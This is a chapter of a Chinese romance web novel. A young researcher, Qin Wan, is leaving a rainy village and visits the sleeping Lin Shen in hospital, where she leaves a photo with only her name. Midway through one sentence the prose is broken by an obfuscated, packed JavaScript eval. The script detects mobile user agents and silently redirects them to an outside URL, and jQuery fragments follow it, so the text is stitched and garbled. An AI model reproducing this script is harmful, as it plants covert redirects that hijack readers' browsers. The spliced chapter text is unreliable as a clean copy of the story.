10. 爱自有天意
作品:《林深未晚》 【目前已进入梅雨季,山荷叶调研项目暂时中止,预计明天雨势减小,航班恢复运行,现已定好机票。明早九点回南城。@所有人】
覃晚的笑容瞬间凝固在脸上,群组里的师兄师姐纷纷回复收到刷屏。其实她早料到近期应该是要离开,但没想到这天来的如此突然。
她还来不及,再见他一面。
“怎么了?”见覃晚脸色不对劲,胡非不再逗弄她,收起笑颜看向她。
被这突如其来的消息打击的愣住的覃晚,强挤出一丝苦笑,“没什么。只是...”
见她这幅表情,胡非更是担心,追问道:“只是什么,出什么事情了吗?”
气氛骤然间变得严肃,覃晚觉着有些尴尬。紧握着那张照片将手放到一侧藏起。
掩饰性的喝了一口蓝莓汁,故作轻松道:“没事啊,就是要回家了。”
“啊?”胡非有些诧异,她记得当时他们一行人在这里订了两周的房,这才过了一周不到,怎么便要离开。
“怎么这么快,明天走?”
“对啊。”她扬了扬手机,“教授刚发的,明天早上九点就走了。”,说着说着,便低下了头,一双白皙修长的双腿在沙发前来回摆动。
两人陷入良久的沉默。
“走!”胡非率先打破沉默的氛围,拉着一脸不知所措的覃晚从沙发上站起,大步离开地下室。
“啊!去...去哪里啊?”覃晚不解,只是被她拽着越走越快。
外面还在下着暴雨,整座村庄除了民宿暂时光明,此外一片漆黑。‘狂风呼啸,远处不时闪烁着锋利的闪电,如一道利刃刺破黑幕。
也没顾上撑伞,覃晚被胡非拽着一路冲进雨里,那只装着照片的信封被她护在怀里,生怕被雨水打湿。
等两人上了车,胡非才出声,“医院,去不去?”,看着面前被雨打湿的女孩,她递了包纸巾过去。
覃晚接过,却抽出一张,小心翼翼擦拭被雨点打湿一角落的信封。那其实被拉上车时,她已经有所预料。
见对方低着头没说话,胡非开始怀疑,自己是否太过莽撞。或许是因为失去过,所以她不愿再见任何遗憾。或许这只是她一厢情愿的过度猜测呢?
思及此,她在心里苦笑一声。
正当她落寞时,擦完信封的女孩却突然系上了安全带,扭头看向自己,一幅蓄势待发的模样。
其实覃晚也有所犹豫,擦拭信封时她也想这可能是一个人的自作多情,但,她依旧想勇敢一次。
与面前那双坚定又年轻的眼睛交错时,胡非心中漾起万千波澜、如果当初她这样勇敢,是不是就不会永远的失去他。
一瞬,鼻头微酸,眼角泛起泪光,她扭过头目视前方,试图掩饰自己许久未展露于人前的脆弱。
轻咳一声,胡非迅速调整好情绪。发动车子冲进那雨幕于黑暗之中。
——
因为山路没有路灯,雨势又大,胡非不敢开的太快。
抵达医院时,已是深夜。
或许是因为即将要见到他,覃晚有些紧张,一路上都捏着那个信封,沉默少言。
但快要抵达时,不知怎的,竟生出几分近乡情怯的情绪。
胡非将车在停车场泊好后,解开安全带准备下车,却见副驾的女孩一动不动。
“怎么了?困了吗?”
覃晚扭过头来,眼神躲闪,支支吾吾好一会儿,才终于袒露:“非姐,我有点害怕。”
没想到是这个回答,刚刚见她初生牛犊不怕虎的样子还以为是个勇敢的小莽夫呢。胡非伸手过去摸了摸她的头顶,满眼温柔的安慰道:“不怕,你这么可爱,他肯定喜欢你的。”
不知为何,覃晚忽然回想起雨林里那个吻,不禁露出害羞的模样。
两人没在车上耽搁太久,总不可能辜负非姐开了一晚上夜车,花了好几个小时才到的一番心意。更何况,她想见那人一面,很想很想。
覃晚捏着那薄薄一纸信封,跟着胡非前往病房。
病房内熄了灯,胡非把合起来的伞放置在门外,拧开把手,两人轻手轻脚的缓走进。
“老板娘?”说话的是胡非给林深请的护工,他从椅子上坐起,指着林深用气音说:“刚吃了药,估计有副作用,睡着了。”
两人交谈时,覃晚便站在距离床尾半米处,注视躺在病床上熟睡的男人。
胡非见一动不动,伸手将她拉到病床侧边,凑到耳处轻声说:“外面等你。”
说完便招手示意护工,两人一同走出病房并贴心地关了门。
覃晚在床边的椅子上坐下,整间屋子只有床头的一盏壁灯亮着,雨点噼里啪啦的打在窗户的玻璃上。
这一切,好像又昨天那个被困的雨夜。
暖黄色的光线轻柔的洒在他的脸上,他似乎睡的并不安稳,眼睑紧闭,眉头微微皱起,不知梦到了什么,浓密的睫毛轻轻颤动。
覃晚情不自禁伸出手,想要抚平他的眉宇。可探到半空却忽然克制顿住,是担心将他惊醒,还是...心中胆怯。
当初人醒着时,她一时被美□□导,鬼迷心窍吻了他。可如今,他陷入沉睡时,自己却忽然胆怯。
如此矛盾,她也说不清究竟为何。
手腕上的石英腕表秒针嘀嗒...嘀嗒转动,外面雨声渐渐弱去。
覃晚从衣服口袋里拿出一支笔,是刚刚下车之际她向胡非要的。将信封放在床头的柜子上,一笔一划的写下【你好,我是覃晚。】
写下最后一笔,她合上笔,将信封整齐摆在柜子上。满眼不舍的望向最后一眼后便转身离开。
——
胡非和护工在走廊的椅子上等着覃晚,见她关门走出,问了句:“好了?”
覃晚点点头,却透过嵌在门内的窗户再看了一眼。
眼下时间不早了,等回到民宿都要一两点了。估计也停电了,收拾东西更加费时,明早他们便要回南城,再不回去来不及。
可看着她这幅样子,胡非想叫她离开却又于心不忍。
覃晚撤回留恋的目光,口吻轻柔的说了声: “走吧,非姐。”
胡非看着面前的恋恋不舍、愁容依旧的女孩,从椅子上站起,拉着她的手笑着安慰道:“怎么啦,不是见到了,怎么还不开心?”
“没啊。”她抹开笑颜,可不知在别人看来,真是笑的比哭还难看。
胡非伸手捏了捏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321160|167490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她那满是胶原蛋白的笑脸,揶揄道:“笑的小苦瓜似的。”
胡非揽过覃晚的肩膀,对护工嘱咐到:“小张,你照顾好他,有事及时联系我。”
对方点了点头,进了病房。
顺着他的背影,覃晚朝那个方向又望了一眼。
“好啦!回去了。”胡非按住她的脑袋,将其转向离开的方向,推着她步步向前。
——
回去路上,见覃晚心事重重的样子,望着窗外一动不动。
胡非开口打破沉默:“怎么了,有心事?”
覃晚茫然地“啊”了声,反应过来后扯了下唇角,慢慢地出了声:“没有心事,就是有点遗憾。”
“遗憾什么?没留联系方式?”胡非偏头看了一眼,女孩低头不语。
胡非单手扶着方向盘,另一只手从扶手箱把自己的手机递了过去,轻笑开口:“我有他联系方式,你要不。”
她踌躇了一会,最后还是把手机推回,摇了摇头,垂眸道:“不了,萍水相逢罢了。”
胡非没想到是这样的回答,而这出自一个二十出头的小姑娘口里。在最冲动的年纪,她冷静克制的要命。
覃晚很清楚,那只是片刻的心动,说不定在明天、后天便会消失的一干二净。
而一份坚定的感情绝不仅靠一时的心动便可维系,需要朝夕相伴,需要灵魂契合。
所以她没有在那张信纸上留下其他,除了姓名。
如果爱自有天意,那有缘自会重逢。
胡非摇了摇头,将手机放回原位,叹了口气笑道:“我是搞不懂你们这些小年轻了。要我我就是上了,哪里需要顾忌那么多。”似乎是想起了什么,语调逐渐弱了下来,喃喃道:“人生哪有那么多机会可等。一不小心就再也没机会了。”
那时的覃晚不懂胡非为何这样落寞的说出这句话,直到后面知道她的故事,才终于理解她话中的深意和落寞。
——
次日林深醒来看到那张照片时,覃晚已经踏上回南城的路了。
或许是冥冥之中的第六感,还未等他拆开信封见到里面的山荷叶照片时。
光是见到那笔飘逸的字迹,林深便确信,是她!
他抽出信封里的照片,是他特地来寻却没有见到的山荷叶。
没想她还记得,想到那个女孩和一些画面,林深的嘴角不经意勾起,看着那张照片,满眼温柔。
去打热水的护工小张回来,林深放下照片询问到:“昨天晚上是不是有一个二十来岁,一米六五左右,长的很可爱的女生来过。”
小张把水壶放在地上,思索了两秒,继而道:“是有一个女生,胡老板带来的,当时你睡着了。她还在这待了会儿呢?”
他指了指林深手里的信封说:"那信封,就是她留的好像。"
确定她来过,林深眸光清亮,眉眼间盛满的笑意。但想到自己睡着没有见到他,眼神中又掠过一丝遗憾。
他将床头柜充着电的手机捞过,给胡非发了条信息过去。
对方显示一直输入中,林深紧紧握着手机,满心期待等着回复。
可对方敲敲打打许久,最后却发来三个字:【她走了。】